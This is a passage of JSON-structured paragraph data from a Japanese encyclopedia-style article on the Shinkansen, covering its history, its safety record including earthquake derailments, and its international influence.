"text": "日本国有鉄道(国鉄)時代の1964年(昭和39年)10月1日に開業した東海道新幹線が初の路線である。開業に先立ち、東京駅の東海道新幹線8、9番ホームの間に「0キロメートル」の起点標(距離標)が設置された。開業を1964年にしたのは、1964年の東京オリンピックの開催時期に合わせたからである。",
"title": "歴史"
},
{
"paragraph_id": 90,
"tag": "p",
"text": "併せて専用の0系が開発され、営業に投入された(→1964年10月1日国鉄ダイヤ改正も参照)。なお、開通に先立つ同年4月22日からアメリカのニューヨーク市で開催されたニューヨーク万国博覧会の日本館に実物大モックアップが展示され、日本の技術力を誇示した。",
"title": "歴史"
},
{
"paragraph_id": 91,
"tag": "p",
"text": "10月1日の東京発の一番列車(ひかり1号、運転士・山本幸一、伊月正司の2名)は定員987名のところ乗客は730名ほどであり満席ではなかった。",
"title": "歴史"
},
{
"paragraph_id": 92,
"tag": "p",
"text": "開業当初の営業最高速度は200km/h(東京 - 新大阪間「ひかり」4時間、「こだま」5時間)。路盤の安定を待って翌年に210km/h運転(同「ひかり」3時間10分、「こだま」4時間)を開始した(→1965年10月1日・11月1日国鉄ダイヤ改正も参照)。",
"title": "歴史"
},
{
"paragraph_id": 93,
"tag": "p",
"text": "日本の二大都市である東京 - 大阪間は、1958年(昭和33年)から在来線の特急で日帰り可能になっていたものの、滞在時間がわずか2時間あまりしか取れなかった。しかし新幹線の開通により、日帰りでも滞在時間を充分取れるようになり、社会構造に著しい変化を及ぼした。ビジネスやレジャーの新しい需要を喚起し、東海道新幹線においては当初の12両編成が、1970年(昭和45年)の大阪万博の開幕を機に16両編成まで拡大され、高速大量輸送機関としての確固たる地位を確立した。",
"title": "歴史"
},
{
"paragraph_id": 94,
"tag": "p",
"text": "その一方で、新幹線の建設や特急・急行列車の増発、さらには都市部における通勤輸送増強(通勤五方面作戦など)などの設備投資に追われたことから、新幹線の開業した1964年(昭和39年)度から国鉄収支は赤字に転落し、以後それは拡大する一方となり、結果的に新幹線建設は国鉄破綻の1つの原因となったと言われる。これに対し、JR東海の葛西敬之会長は著書の中で「東海道新幹線はあくまで内部留保された資金と借金で建設資金をまかない、それらを運賃・料金収入のみですべて回収したものであり、新幹線建設が国鉄破綻の引き金を引いたという認識は誤りだ」と指摘している。いずれにせよ、以後の国鉄において、新幹線は重要な収入源ともなっていく。",
"title": "歴史"
},
{
"paragraph_id": 95,
"tag": "p",
"text": "その後、東海道新幹線に続いて、同じように需要の増加していた山陽本線の抜本的輸送力改善と高速化を目的として、1967年(昭和42年)に東海道新幹線を延伸する形で山陽新幹線が着工され、1972年(昭和47年)3月15日に岡山まで、1975年(昭和50年)3月10日には博多まで開業した(→1972年3月15日国鉄ダイヤ改正・1975年3月10日国鉄ダイヤ改正も参照)。「ひかりは西へ」がそのキャッチコピーであった。",
"title": "歴史"
},
{
"paragraph_id": 96,
"tag": "p",
"text": "さらに東北方面への延伸も計画された。1971年(昭和46年)には東北新幹線と上越新幹線が着工され、キャッチコピーには「ひかりは北へ」が使用された(実際の開業にあたっては、「やまびこ」「あおば」「とき」「あさひ」等、東北・上越在来線特急のかつての名称を継承している)。1974年(昭和49年)には建設中の成田空港へのアクセス路線として成田新幹線も工事に入った。折しも田中角栄内閣総理大臣によって、国土開発を促進する「日本列島改造論」が提唱され、整備は順調に進むかに見えた。",
"title": "歴史"
},
{
"paragraph_id": 97,
"tag": "p",
"text": "だが、実際には反対運動による用地買収の難航やトンネル工事での異常出水などがあり、前者2つの新幹線は予定より工事が5年も遅れ、成田新幹線に至っては工事中止となってしまった(ただし、後にJR東日本と京成電鉄の成田空港乗り入れの際にこの新幹線建設で作られた設備が生かされることになる)。また、名古屋新幹線訴訟など、新幹線沿線での騒音・振動による公害問題がこの頃深刻化した。さらに国鉄財政の悪化に伴う運賃・料金値上げの繰り返し、労働紛争によるストライキの頻発化などから、既存新幹線の乗客が減少傾向に陥った。そして経営問題と労働紛争の影響から技術革新も見られなくなり、新幹線の発展・発達は一時停滞した。",
"title": "歴史"
},
{
"paragraph_id": 98,
"tag": "p",
"text": "東北新幹線と上越新幹線は1982年(昭和57年)に大宮発着という暫定的な形で開業し(→1982年11月15日国鉄ダイヤ改正・新幹線リレー号も参照)、1985年(昭和60年)には用地買収の関係で遅れていた都心(上野)乗り入れを果たした(→1985年3月14日国鉄ダイヤ改正も参照)。これにより東北・上越地方における鉄道シェアは大幅に拡大した。だが、それら新幹線の建設費負担も重なって、国鉄財政はついに破局的状態となり、中曽根内閣の下で断行された1987年(昭和62年)の国鉄分割民営化に至るのである。",
"title": "歴史"
},
{
"paragraph_id": 99,
"tag": "p",
"text": "国鉄の分割・民営化、つまりJR発足後、東北・上越新幹線はJR東日本、東海道新幹線はJR東海、山陽新幹線はJR西日本の運営とされたが、当初設備は第3種鉄道事業者の「新幹線保有機構」が保有し、各会社が第2種鉄道事業者として路線を借り受けて運営する形とした。新幹線の保守費用は各社が負担し、新幹線保有機構は設備の貸し代だけを受け取るもので、利益の出る新幹線事業によって赤字となる他地域JR会社への補填を行うのが目的であった。",
"title": "歴史"
},
{
"paragraph_id": 100,
"tag": "p",
"text": "しかし、前記JR3社の経営が安定化して、東京証券取引所などへの上場が視野に入ると、輸送量に応じて貸し賃が変わるこの制度のままでは会社の営業努力が反映されないことや、各社の資産・債務の額が確定できないことなどが問題視され、結局1991年(平成3年)に制度を変更し、各鉄道会社が新幹線資産を新幹線保有機構を改編した鉄道整備基金から60年賦で買い取ることにした。",
"title": "歴史"
},
{
"paragraph_id": 101,
"tag": "p",
"text": "分割・民営化後、技術・営業面で停滞していた新幹線も新型車両の登場、新形態など積極的な流れが見られるようになった。",
"title": "歴史"
},
{
"paragraph_id": 102,
"tag": "p",
"text": "後者の代表として、JR東日本は新幹線規格(フル規格)の線路を新規に建設することなく、既存の在来線を改良し、専用の車両を新造したうえで、新幹線と在来線が直通運転できるようにしたミニ新幹線を整備した。",
"title": "歴史"
},
{
"paragraph_id": 103,
"tag": "p",
"text": "1992年(平成4年)に400系を新造し、山形新幹線として奥羽本線の福島駅 - 山形駅が、1997年(平成9年)にE3系を新造し、秋田新幹線として田沢湖線・奥羽本線の盛岡駅 - 秋田駅が、1999年(平成11年)にE3系1000番台を増備し、山形新幹線の延伸として奥羽本線の山形駅 - 新庄駅が、それぞれ順次営業運転を開始した。",
"title": "歴史"
},
{
"paragraph_id": 104,
"tag": "p",
"text": "JR西日本は山陽新幹線博多総合車両所への車庫線を旅客線化し、1990年(平成2年)に博多南線として博多駅 - 博多南駅を、こだま号に使用される車両を用いる在来線特急という形態で営業運転を開始した。",
"title": "歴史"
},
{
"paragraph_id": 105,
"tag": "p",
"text": "また最高速度は210 km/hの時代が長く続いたが、国鉄末期頃(→1985年3月14日国鉄ダイヤ改正・1986年11月1日国鉄ダイヤ改正も参照)から次第に向上されるようになり、21世紀初頭では東海道新幹線で270 km/h、山陽新幹線区間で300 km/h、東北新幹線区間で320 km/hに至っている。また時速アップ以外にも、停車駅での停車時間の短縮や、停車駅間の速度をできるだけ高速度で維持するなどして、わずかな分単位ながら、主要駅間の時間短縮を図る工夫もされている。",
"title": "歴史"
},
{
"paragraph_id": 106,
"tag": "p",
"text": "国鉄末期に建設が凍結されていた整備新幹線は工事が再開され、東北新幹線(2002年に八戸まで、2010年に新青森まで延伸)と九州新幹線鹿児島ルート(2004年に鹿児島中央 - 新八代間、2011年に新八代 - 博多間が開業)は既に全線開業、北陸新幹線(1997年に「長野新幹線」として長野まで開業、2015年に金沢まで延伸)と北海道新幹線(2016年に新函館北斗まで開業)が部分開業し、残った区間も工事が次第に進みつつある。",
"title": "歴史"
},
{
"paragraph_id": 107,
"tag": "p",
"text": "また20世紀末以降、新幹線による通勤・通学が増加した(「新幹線通勤」も参照)。これは、いわゆるバブル時代の大都市における地価の高騰で、新幹線で通勤・通学が可能な郊外(主に東京への通勤・通学を目的に栃木県、群馬県、静岡県東部が多い)の住宅に住む人が増えたためである。1983年(昭和58年)2月の新幹線定期乗車券販売開始をきっかけに、新幹線通勤定期券を支給する企業の増加、さらに企業が支給する通勤定期券代の所得税非課税限度額の引き上げがそれに輪をかけた。朝・夕の新幹線においては通勤客で混雑が激しくなり、通勤客向けのダイヤも設定されるようになった。これに対応してJR東日本ではMaxという多座席型の2階建車両を投入し、1列車あたりの定員を大幅に増やした時期もあった。首都圏以外でも、山陽新幹線の小倉 - 博多間などで通勤・通学に新幹線を利用する者が多くなった。",
"title": "歴史"
},
{
"paragraph_id": 108,
"tag": "p",
"text": "1964年(昭和39年)10月1日に最初の新幹線である東海道新幹線が開業して以来、事業者側の責任事故として確定した事故は、1995年(平成7年)に駆け込み乗車の乗客の手をドアに挟んで引きずり死亡させた三島駅乗客転落事故(旅客が死亡)と、2015年(平成27年)に発生した山陽新幹線部品脱落事故(旅客が負傷)の計2件である。",
"title": "安全性"
},
{
"paragraph_id": 109,
"tag": "p",
"text": "駅ホームでの事故(駅ホームから転落または故意に投身し車両に接触、あるいは架線に接触し感電など)や線路内立ち入り等による死亡例は多数発生しているものの、これらは鉄道事業者側の責任事故ではなく、またこれらは新幹線システムそのものの根本的欠陥に起因する事故ではないため、新幹線の安全性に関しては非常に高いものと捉えられている。この事実は新幹線の安全神話などと称されていた。",
"title": "安全性"
},
{
"paragraph_id": 110,
"tag": "p",
"text": "2011年には「最も安全な高速鉄道ネットワーク」としてギネス世界記録に認定されるなど、新幹線車両自体の脱線、転覆や衝突による旅客死亡事故は未だ発生していないが、重大な事故に至る一歩手前の事態は過去に何度か発生している。",
"title": "安全性"
},
{
"paragraph_id": 111,
"tag": "p",
"text": "以下の各事例は、新幹線の安全を脅かす事故例と考えられ、重大視されてきた。",
"title": "安全性"
},
{
"paragraph_id": 112,
"tag": "p",
"text": "他にも1990年代末期から多発したトンネルのコンクリート剥落事故に対しては、JR各社には設備保全を徹底させる対策が求められている。",
"title": "安全性"
},
{
"paragraph_id": 113,
"tag": "p",
"text": "また在来線と直通運転を行うミニ新幹線(山形新幹線・秋田新幹線)では在来線区間に踏切もあるため、踏切事故がしばしば発生している。",
"title": "安全性"
},
{
"paragraph_id": 114,
"tag": "p",
"text": "地震に伴う障害は、高速鉄道の安全性にとって脅威となりうる。このため、地震が多発する日本において運営される新幹線にとっても課題となっている。1990年代以降、日本国内における大きな地震災害の多発により、高速鉄道の地震に対する脆弱性が指摘されるようになった。",
"title": "安全性"
},
{
"paragraph_id": 115,
"tag": "p",
"text": "1965年(昭和40年)4月20日、静岡県の大井川河口を震央とするマグニチュード6.1の地震が発生し、開業後約半年経過していた東海道新幹線にも静岡市周辺の盛り土が崩れる被害が生じた。当時はまだ運転本数が1時間に片道2本しかなく、発生直後にすべての列車の運行が停止されたこともあり、走行中の車両や旅客には大きな被害は発生しなかった。しかし、当時の運行責任者であった斎藤雅男(元国鉄新幹線支社運転車両部長-新幹線支社次長、鉄道工学の専門家)によると、「当時は雨の影響で地盤が弱くなっており、大きく陥没していたところもあった。仮に崩れた路盤上に列車が来ていたら間違いなく脱線して大惨事になっていた」という。なお、山陽新幹線の一部区間と東北新幹線以後の新幹線にはスラブ軌道が採用されている。",
"title": "安全性"
},
{
"paragraph_id": 116,
"tag": "p",
"text": "1995年(平成7年)1月17日の兵庫県南部地震(阪神・淡路大震災)では、被災地域において山陽新幹線の高架橋が破損・一部落下し、新大阪駅 - 姫路駅間が81日間にわたり不通となった。地震発生は午前5時46分で、始発列車は新大阪駅に停車していたがこの日の営業運転が始まる前であったため、落下した高架橋に列車が突っ込むなどの最悪の事態は免れた。これを機に高架橋の補強などの耐震対策が進められた。また比較的被害の少なかった京都駅 - 新大阪駅間、姫路駅- 岡山駅間は1週間程度で復旧した。",
"title": "安全性"
},
{
"paragraph_id": 117,
"tag": "p",
"text": "さらに、2004年(平成16年)10月23日の新潟県中越地震においては、上越新幹線が甚大な被害を受けた。高架やトンネルなどの構造物に損傷が発生したほか、上越新幹線列車の「とき325号」(10両編成、200系=K25編成)が長岡駅の手前付近を約200 km/hで走行中に脱線した。これはまた新幹線史上初の営業運転中、しかも高速走行中の脱線事故となった。この脱線の衝撃で、レールの道床の締定が多数外れ、一部のレールはねじ曲がるなどの大きな被害を受けた。",
"title": "安全性"
},
{
"paragraph_id": 118,
"tag": "p",
"text": "通常、列車がこの規模の地震に震源地付近で直撃された場合、たとえ停車していたとしても脱線は免れ得ないと考えられる。「とき325号」の事例では約200 km/hで脱線したとはいえ、奇跡的に、死者・重傷者などは生じなかった。これは、編成全体の横転などには至らなかったこと、および、数分の差で対向列車との衝突も免れるという幸運も重なったことによる。なお、横転が生じなかった理由には、事故現場が積雪の多い地帯であるため、レール脇に雪を融かして流すための溝があり、そこに脱線後の車体の一部がはまり込んだことも関係していたとされる。",
"title": "安全性"
},
{
"paragraph_id": 119,
"tag": "p",
"text": "なお、地震に対する脅威に対し、上越新幹線にも地震感知システム「ユレダス」をカスタマイズした「コンパクトユレダス」が採用されている。実際、この「とき325号」のケースにおいても初期微動(P波)の検知後にブレーキが動作した。しかし、このケースでは、「とき325号」の通過地点からみて直下型の地震であったため、「とき325号」の停止前に地震が到達したことにより被害が生じてしまった。",
"title": "安全性"
},
{
"paragraph_id": 120,
"tag": "p",
"text": "この事故により、新幹線を運営するJR各社は、新幹線における地震対策の重要性を強く認識することとなった。",
"title": "安全性"
},
{
"paragraph_id": 121,
"tag": "p",
"text": "2011年(平成23年)3月11日に発生した東北地方太平洋沖地震(東日本大震災)では、東北新幹線が甚大な被害を受けた。運転中の列車はすべて強制停止したが、大宮駅 - いわて沼宮内駅間の広範囲にわたって、高架橋の損傷や架線柱の倒壊などが発生した。仙台駅では試運転中のE2系の一部車両が脱線したほか、ホームの天井板が剥がれ落ちるなど前記の中越地震以上の被害を受け、全線復旧まで約1か月半を要した。",
"title": "安全性"
},
{
"paragraph_id": 122,
"tag": "p",
"text": "2016年(平成28年)4月14日に発生した熊本地震では、九州新幹線が被害を受けた。下りの800系6両編成の回送列車が熊本駅から熊本総合車両所へ向かう途中に脱線したほか、防音壁の落下や高架橋の亀裂などが見つかったが、13日後の4月27日午後には全線で運転を再開した。",
"title": "安全性"
},
{
"paragraph_id": 123,
"tag": "p",
"text": "2022年(令和4年)3月16日に宮城県牡鹿半島沖南南東60kmを震源とする最大震度6強の地震(福島県沖地震)のため東北新幹線「やまびこ223号」が福島駅 - 白石蔵王駅間の宮城県白石市内で営業運転中に脱線した。現場付近及び新幹線の車両には脱線を防ぐ装置が設置されていたものの17両編成のうち16両が脱線し、合わせて68の車輪の軸のうち60基がレールから外れていた。また、脱線した列車には「レール転倒防止装置」や「逸脱防止ガイド」が設置されていたが一部の車両はレールから大幅にずれて傾くなどの被害が確認された。",
"title": "安全性"
},
{
"paragraph_id": 124,
"tag": "p",
"text": "「やまびこ223号」が脱線した福島駅 - 白石蔵王駅の間は、最高速度が320 km/hとなっていたが、地震が起きた際列車は白石蔵王駅での停車に向け減速していた際に発生し、地震を検知して非常ブレーキがかかる過程で脱線したと見られている。初期微動(P波)を検知して自動でブレーキを掛けさせる装置は正常に作動していたという。",
"title": "安全性"
},
{
"paragraph_id": 125,
"tag": "p",
"text": "営業運転中の新幹線が地震による脱線事故を起こしたのは新潟県中越地震での上越新幹線脱線事故以来2例目である。",
"title": "安全性"
},
{
"paragraph_id": 126,
"tag": "p",
"text": "新幹線では、航空機や船舶と異なり、通常の運行では乗客名簿などは整備されない。万一、転覆事故などで多数の死傷者が生じた時には、死傷者の身元特定に支障をきたすのではないか、との指摘もある。もしそうなった場合、家族への連絡や事故の補償などで大きな問題となることが予想されるが、新幹線を運営する各鉄道会社はこの課題について踏み込んだ対策を採るまでには至っていない。",
"title": "安全性"
},
{
"paragraph_id": 127,
"tag": "p",
"text": "20世紀末から世界的に増加しているテロリズムに対しても新幹線は脆弱ではないかとの指摘もされている。現状では航空機のような搭乗時の手荷物検査がなく、その気になれば車内やプラットホームに、可燃物や爆発物、刃物を容易に持ち込むことができるのも事実である。また高架橋などの軌道設備には周囲から容易に接近できる箇所が多く、この面でもたやすくテロの対象となりうる。",
"title": "安全性"
},
{
"paragraph_id": 128,
"tag": "p",
"text": "なお、N700系では全てのドア上部と乗務員室出入口に、E5系・H5系やE6系、E7系・W7系ではそれらに加えてグランクラスを除く客室内にも監視カメラを取り付けている。東海道新幹線車内での放火事件以降、JR東海はN700系でも客室内とデッキ通路部にも増設することとし、2016年2月23日より増設が完了した編成が運行を開始した(1編成あたりのカメラは60台から105台に増加)。なお、客室内の映像については、N700系は常時録画だが、その他のE5系・H5系などはプライバシー保護の観点から非常ボタンが押されてから録画を開始する方式としている。JR東日本ではこれらの車両についても今後は同様に常時録画とする方針である。",
"title": "安全性"
},
{
"paragraph_id": 129,
"tag": "p",
"text": "JR東日本の各新幹線では、テロ対策のため、車内のゴミ箱を一切利用停止にしていた時期があったが、乗客からの不便という声が高まり、現在は利用を再開している。ただし要人来日時(特に主要国首脳会議開催時やアメリカ合衆国大統領来日時)は、利用を停止する場合がある。また、JR東海ではアメリカ同時多発テロ事件以降、系列の警備会社と連携し、沿線を24時間体制で巡察しているほか、全ての列車に警備員を警乗させている。",
"title": "安全性"
},
{
"paragraph_id": 130,
"tag": "p",
"text": "2008年(平成20年)7月28日に東海道・山陽新幹線では、2008年12月より全編成において自動体外式除細動器 (AED) を配備すると発表した。",
"title": "安全性"
},
{
"paragraph_id": 131,
"tag": "p",
"text": "世界初の210 km/h運転を達成した新幹線の成功は、欧米各国に影響を及ぼした。鉄道先進国を自負していたフランスは、1967年5月28日よりパリ - トゥールーズ間の列車「ル・キャピトール」を欧州において初めて一部区間で200 km/hで運転し、その後も複数の列車を200 km/hで運行していた。新幹線の開業後、1981年に本格的な超高速列車TGVを開発し、営業最高速度260 km/hというスピード世界一を達成し、新幹線の記録を凌駕した。",
"title": "世界への影響"
},
{
"paragraph_id": 132,
"tag": "p",
"text": "その他、ドイツ (ICE) やイタリア(ディレッティシマ)でも高速列車が計画され、実現に移された。イタリアのディレッティシマは欧州初の高速新線であり、1970年に工事が始まり、1978年に部分開業を迎え、1983年に250 km/h運転を開始したものの、その後の整備で仏独に遅れを取り、全線が開業したのは1992年である。",
"title": "世界への影響"
},
{
"paragraph_id": 133,
"tag": "p",
"text": "スペインでは、当初はイベリア軌間の在来線を高速化させる計画で進めていたが、1986年に同国が欧州諸共同体 (EC) へ加盟したのちに標準軌の高速新線を導入する計画へ方針転換。この一連の流れにおいては日本企業が車両の導入に大きな努力をしており、技術面において非常に高い評価を得ていたが、同国の欧州諸共同体への加盟や同国への投資額、同国内の経営不振企業の救済計画などに代表される政治的な問題からフランスのTGV方式の高速列車を採用することとなり、この時点での日本の新幹線方式の車両の導入は幻となった。",
"title": "世界への影響"
},
{
"paragraph_id": 134,
"tag": "p",
"text": "ロシアの高速列車ソコルは1997年、ドイツ鉄道の技術支援を受け、モスクワ - サンクトペテルブルク間654 kmを営業最高速度250 km/hで結んだことにより、所要時間が、4時間20分から2時間30分に短縮された。",
"title": "世界への影響"
},
{
"paragraph_id": 135,
"tag": "p",
"text": "なお、すでに標準軌の鉄道網が整備されているこれらの国では、駅周辺は従来の路線をそのまま使用し、郊外区間では諸条件によって高速新線建設と在来線改良を使い分けることが多く、全線を新線として建設する新幹線とは異なっている。",
"title": "世界への影響"
},
{
"paragraph_id": 136,
"tag": "p",
"text": "走行試験を除く営業運転速度は、2019年4月現在、中国高速鉄道のCR400系(京滬高速鉄道と京津都市間鉄道)の 350 km/hが世界最速である。新幹線E5系やフランスTGV (320 km/h) などがそれに続く。大韓民国(韓国)では2004年にフランスのTGV方式の韓国高速鉄道 (KTX) が300 km/hで開業し、台湾では2007年に日本の新幹線方式(一部仏独の技術を導入)の台湾高速鉄道が300 km/hで開業した。",
"title": "世界への影響"
},
{
"paragraph_id": 137,
"tag": "p",
"text": "TGVは360 km/hへの速度向上を計画している。2007年後半からフランスのTGV方式を採用したスペインのAVEは、マドリード - バルセロナ間630 kmの新線で、ドイツのICEの技術に使われているシーメンス製の Velaro E という列車を使い350 km/hで運転する計画がある。実現すれば、マドリード - バルセロナ間は2時間30分に短縮される。 さらにロシアやベトナムでも新幹線をモデルにした最高速度350 km/hの高速鉄道建設が計画されている。",
"title": "世界への影響"
},
{
"paragraph_id": 138,
"tag": "p",
"text": "浮上式鉄道を含めた2015年4月時点における世界最速の旅客営業鉄道路線は、2003年にドイツの技術によって開業した、中国・上海浦東国際空港へのアクセス路線である上海トランスラピッドで、その最高速度は430 km/hである。 走行試験も含めた鉄道における最高速度の世界一は、日本のL0系が2015年4月に山梨リニア実験線で記録した603 km/h。浮上式鉄道を除くとフランスTGVの高速試験車V150編成が記録した574.8 km/hである(日本の非浮上式鉄道の最高記録はJR東海の300Xによって達成された443 km/hで世界第3位)。",
"title": "世界への影響"
},
{
"paragraph_id": 139,
"tag": "p",
"text": "東海道新幹線は建設時期が古く、カーブなどの線路状況が200 km/h台の設計になっている。より新しい山陽新幹線・東北新幹線などもフランスやドイツなどと比較すると山岳区間が多く、路線の起伏やカーブの設計などにおいて高速化を妨げる点が多い。特に後者は上越新幹線とともに寒冷地の耐寒・耐雪装備が不可欠であり、重量的に不利である。また沿線に住宅地が多いため、騒音への対策も必要となるなど、300 km/h以上の運転には課題が多い。",
"title": "世界への影響"
},
{
"paragraph_id": 140,
"tag": "p",
"text": "しかし、JR東海・JR西日本は2007年より山陽新幹線で500系と同じ最高速度300 km/h、東海道新幹線でも従来の車両では255 km/hまで減速する必要のあった半径2,500 mのカーブを、車体傾斜装置を搭載することで270 km/hで通過できるN700系の導入を開始した。さらに改良型となるN700系1000番台(通称「N700A」)の製造及びN700系からの同仕様への改造により、東海道新幹線で285 km/hでの営業運転を2015年3月14日より開始した。これにより、半径2,500mのカーブを、275 km/hで通過するようになった。また、JR東日本は2004年から360 km/h走行を前提とした試験車両(E954・E955形)を開発し、2009年からはE954形をベースとして320 km/hでの走行を前提にしたE5系を製造、新青森延伸後の2011年3月5日に300 km/hで営業を開始し、2013年3月16日より320 km/hでの営業運転を開始した。",
"title": "世界への影響"
},
{
"paragraph_id": 141,
"tag": "p",
"text": "かつて、JR東海は東海道新幹線の一部区間で、当時の営業最高速度270 km/hから330 km/hに引き上げることを検討していた。330 km/hでの走行は京都 - 米原間の直線が長い一部区間を対象に、N700系を使用し、前方に待機列車がなく性能を存分に発揮できる「のぞみ」の始発、終発に限定して行う計画であった。",
"title": "世界への影響"
},
{
"paragraph_id": 142,
"tag": "p",
"text": "また近年、速度向上の動きが顕著である。JR東日本はE954形-E5系の開発時に断念した360km/hでの営業運転について再度挑戦すべく、試験車両E956形を用いて走行試験を開始した。また、JR北海道は建設中の新函館北斗駅 - 札幌駅間について、整備新幹線としては初となる320km/hで営業運転するための追加工事を行うことを発表した。さらに、JR東海はN700Sにて営業用車両としては国内最速である363km/hを記録した(この速度で営業運転するためではなく、国内外に高い走行性能を示す目的)。",
"title": "世界への影響"
},
{
"paragraph_id": 143,
"tag": "p",
"text": "各路線での記録である。",
"title": "世界への影響"
},
{
"paragraph_id": 144,
"tag": "p",
"text": "中華民国(台湾)の台北 - 高雄間のうち、台北 - 左営の約340 kmで運行されることになった高速鉄道路線(台湾高速鉄道)は、独仏連合が先行する形で日本連合との間で熾烈な受注競争が行われたが、1999年に台湾で大地震が起き、地震時のリスクを台湾側は懸念するようになり、その結果新幹線は地震時に安全性が高いことに焦点が当たり、日本連合が最終的に逆転、車両や運行管理システムなど根幹部分の受注に成功した(ただし、台湾高速鉄道の全体を完全に日本連合だけが受注したわけではない ※)。車両には700系をベースとした700T型が用いられ、運行管理システムも新幹線のもの、乗務員のトレーニングも日本式のものが採用された。台湾高速鉄道の顧問には、日本における新幹線計画の実現に大きく貢献した島秀雄の次男である島隆が就いた。一方、鉄路部分の施工に関しては、競争で先行した欧州連合がすでに契約締結済で関与し、韓国も関与した。",
"title": "世界への影響"
},
{
"paragraph_id": 145,
"tag": "p",
"text": "当初は2005年10月の開業を目指して建設が進められたが、台湾高速鉄道のコンサルタント業務を欧州連合が先に受注していたため、施工方法やスケジュールの調整が難航。また建設工事の一部区間を受注していた韓国の現代建設による路盤の手抜き工事が発覚するなど、各国企業の思惑が入り乱れたため、開業時期が徐々に遅れ、結局2007年1月5日に板橋 - 左営間で仮開業し、全線は2007年3月に正式開業した。2016年に、台北 - 南港間が開業しているが、左営 - 高雄間の着工は未定である。",
"title": "世界への影響"
},
{
"paragraph_id": 146,
"tag": "p",
"text": "アメリカ合衆国・テキサス州ヒューストン - ダラス間を90分で結ぶテキサス・セントラル・レイルウェイの建設計画が日本の新幹線方式を導入することが決まり、早ければ2021年に建設を開始し、2026年の開業を予定している。なお既に日本の新幹線方式で建設し、N700系の改良版を導入することを明言している。JR東海が技術支援に加え、少額の出資を検討している。",
"title": "世界への影響"
},
{
"paragraph_id": 147,
"tag": "p",
"text": "日立製作所は、2009年からロンドン - ケント州間の高速新線「High Speed 1(HS1、旧名CTRL: Channel Tunnel Rail Link)」で運行される高速列車サービス「オリンピックジャベリン」の専用車両「クラス395」29編成計174両を受注し、2007年8月から引き渡しが始まった。車両はHSBC Rail UKが保有し、サウスイースタンが列車の運行を担当する。UIC規格路線を走る初めての日本製高速鉄道車両であり、HS1上においてTGVベースのユーロスターと混在して運行されることとなる。営業最高速度は、HS1上で140 mph (225 km/h)、在来線では70 mph (112 km/h) で、将来的には170 mph (275 km/h) を目指す。",
"title": "世界への影響"
},
{
"paragraph_id": 148,
"tag": "p",
"text": "日立はさらなる高速鉄道事業の受注を目指して、都市間高速鉄道計画における受注も目指して活動を展開し、2009年2月に、イースト・コースト本線(ロンドン - エディンバラ間、距離700 km)やグレート・ウェスタン本線(距離300 km)を走行する高速鉄道車両の製造の優先交渉権を得た。そしてキャメロン政権の歳出削減政策による一時の交渉凍結を経て、2012年7月にシーメンス、アルストム、ボンバルディアの鉄道ビッグ3との受注競争に打ち勝って、596両の高速鉄道車両の製造と2017年から27年間にわたる車両のリースと保守事業を、45億ポンド(受注時の為替レートで約5,500億円)で一括受注した。さらに2013年7月には、追加で「クラス800」270両の製造と27年間にわたる車両のリースと保守事業を12億ポンド(受注時の為替レートで約1,800億円)で一括受注した。受注した車両は最高速度200 km/hで、5両編成(定員約300人)と9両編成(定員約600人)で運行される。これを受けて日立は8000万ポンド(96億円)を投じて英北部ダラム州のニュートン・エイクリフに車両生産工場を建設し、2016年から月産35両のペースで車両を生産する。車両のリース事業は日立の子会社などが出資する特別目的会社アジリティトレインズによって行われる。",
"title": "世界への影響"
},
{
"paragraph_id": 149,
"tag": "p",
"text": "中華人民共和国は京滬高速鉄道など8路線、計7,000 kmの旅客専用線(最高速度350 km/h)のほか、中国全土に高速鉄道網の建設(最高速度200 - 350 km/h)を進めているが、国産高速車両「中華之星」の開発で多くのトラブルに見舞われたこともあって、日本の新幹線の技術導入と同時にフランス・ドイツ・カナダなどからも技術導入を図っている。",
"title": "世界への影響"
},
{
"paragraph_id": 150,
"tag": "p",
"text": "2007年には、主要都市間の在来線高速化 (200 – 250 km/h) に向け、JR東日本のE2系(川崎重工業製)をベースにしたCRH2型「子弾頭」を導入している。日本以外ではスウェーデンのRegina(カナダ・ボンバルディア製)をベースにしたCRH1型(CRHは“China Railway High-Speed”の略)、イタリアのペンドリーノETR600(フランス・アルストム製)をベースにしたCRH5型も導入された。",
"title": "世界への影響"
},
{
"paragraph_id": 151,
"tag": "p",
"text": "2008年の夏季オリンピックに合わせて開業した北京 - 天津間の京津都市間鉄道にはCRH2型の旅客専用線仕様も導入されたが、設計速度を超過し運転していたため、日本側からの抗議を受けて他線区に転配し、武広線では250 km/hで運転している。同年12月からは、北京 - 上海・杭州間にCRH2E型の16両編成中13両を寝台車「軟臥車(B寝台相当)」とした夜行列車が運転されている。「夜行新幹線」はかつて日本でも試作車両が作られたが、営業運転は実現していない。",
"title": "世界への影響"
},
{
"paragraph_id": 152,
"tag": "p",
"text": "2009年に開業した武漢 - 広州間の武広旅客専用線 (350 km/h) にはドイツのICE 3(シーメンス製)をベースにしたCRH3型が導入されている。どの国からも、一部は完成車で納入され、残りは現地組み立てまたは技術供与による現地生産となっている。",
"title": "世界への影響"
},
{
"paragraph_id": 153,
"tag": "p",
"text": "なおJR各社では、JR東日本が受注に積極的なのに対し、台湾への技術供与を行ったJR東海会長の葛西敬之は、法整備が不十分な中国においてトラブルが発生した場合の責任問題や、中華人民共和国側の車両購入条件である「中華人民共和国へのブラックボックスのない完全な技術供与」では技術流出の危惧から反対の意見を表明している。また、2010年4月に葛西が「中国の高速鉄道は安全性を軽視することで、限界まで速度を出している。技術も『外国企業から盗用』」と主張したことに対し、中国の何総工程師は「我々が求めている技術は、日本のような島国向けの技術とは異なる」と主張し、「安全性が保証されている中国の高速鉄道技術は既に世界をリードする地位を獲得した」などと反論した。",
"title": "世界への影響"
},
{
"paragraph_id": 154,
"tag": "p",
"text": "しかし、中国鉄道部科学技術局長などを務めた周翊民は、中国紙『21世紀経済報道』に対し「世界一にこだわり、設計上の安全速度を無視し、日独が試験走行で達成していた速度に近い速度での営業を命じただけで、中国独自の技術によるものではない」と暴露し、「自分の技術でないので問題が起きても解決できない。結果の甚大さは想像もできない」と指摘した。またアメリカ議会の超党派諮問機関である「米中経済安保調査委員会」は2011年10月26日、日本の新幹線技術の中国側の取得について「中国企業が外国技術を盗用した最もひどい実例」と明記し、中国の政府や国家の意思によるものだと結論付けた。なお、2011年7月23日に浙江省温州市で、死者43人・負傷者190人以上を出す追突脱線事故が発生し、鉄道局長ら幹部3人が更迭されている。",
"title": "世界への影響"
},
{
"paragraph_id": 155,
"tag": "p",
